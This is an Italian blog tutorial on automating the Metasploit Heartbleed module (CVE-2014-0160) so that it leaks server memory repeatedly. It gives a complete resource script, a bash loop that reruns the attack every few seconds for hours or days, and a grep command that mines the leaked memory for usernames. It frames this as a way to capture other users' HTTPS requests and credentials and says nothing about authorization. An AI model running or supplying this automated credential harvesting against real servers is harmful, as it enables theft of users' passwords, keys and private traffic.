Metasploit & Heartbleed – Rendere ricorsivo l’exploit

Heartbleed

Heartbleed è un’importante vulnerabilità del popolare software OpenSSL, CVE-2014-0160, il bug consente di leggere fino a 64KB di memoria dal server vulnerabile, con la possibilità di compromettere le chiavi segrete utilizzate per identificare i fornitori dei servizi e per crittografare il traffico, i nomi e le password degli utenti.

Metasploit include un modulo per verificare se un server è vulnerabile o meno, se è vulnerabile permette allora di estrarre la chiave privata RSA e il data leak di 64KB. Se vogliamo lavorare sul data leak per intercettare le richieste GET generate con il protocollo HTTPS dovremmo rendere ricorsivo l’attacco, funzione purtroppo non implementata da Metasploit. Conseguentemente dovremmo ripetere manualmente il comando run ogni qualvolta vogliamo estrarre il traffico dal server vulnerabile.

Per rendere automatica l’estrazione della memoria, ripetendo il comando ogni X secondi mi sono creato un semplice script da eseguire tramite il nostro terminale. Questo ci permetterebbe di estrarre il Data Leak del server in maniera ricorsiva per tutto il tempo che riteniamo necessario.

Metasploit & Heartbleed – Rendere ricorsivo l’exploit

heartbleed.rc

Il primo passaggio da effettuare è quello di creare con il vostro editor di testo preferito il file heartbleed.rc ed editarlo come segue:


use auxiliary/scanner/ssl/openssl_heartbleed
spool /home/Scrivania/heartbleed_script/output_metasploit.txt
set RHOSTS XXX.YYY.ZZZ.JJJ
set verbose true
run

exit

 

Dovrete personalizzare questo script inserendo la corretta destinazione di spool, ovvero dove Metasploit genererà il file di log con il Data Leak e l’indirizzo IP del host remoto. Infine vi ricordo che tra i comandi run ed exit deve esserci un a capo.

Ciclo While

Il passaggio successivo è quello di lanciare Metasploit richiamando il precedente Run Commands ogni XX secondi, useremo un semplicissimo ciclo while da lanciare sul nostro terminale:

while true; do sudo msfconsole -r heartbleed.rc; sleep XX; done

Andando a sostituire XX con i secondi necessari alla ripetizione dell’exploit, ponderate questo valore in base al traffico del server e anche alla velocità della vostra linea.

Grep

Avviando lo script inizierà a generarsi il file di log output_metasploit.txt, precedentemente specificato, dopo diverse ore/giorni di esecuzione risulterà molto difficile leggere il file di log vi consiglio quindi di sfruttare grep per estrarre le porzioni di log che possono interessarvi, ecco un semplice esempio per estrarre ogni porzione di memoria contenente la parola username:

grep -oiE “.{0,20}.username.{0,20}” output_metasploit.txt | uniq

Il comando Grep vi estrarrà dal log tutte e porzioni di memoria contenete la parola username mostrandovi anche i precedenti e successivi 20 caratteri il tutto in No Case Sentitive. Infine ho aggiunto il comando uniq per semplificare l’output evitando doppioni.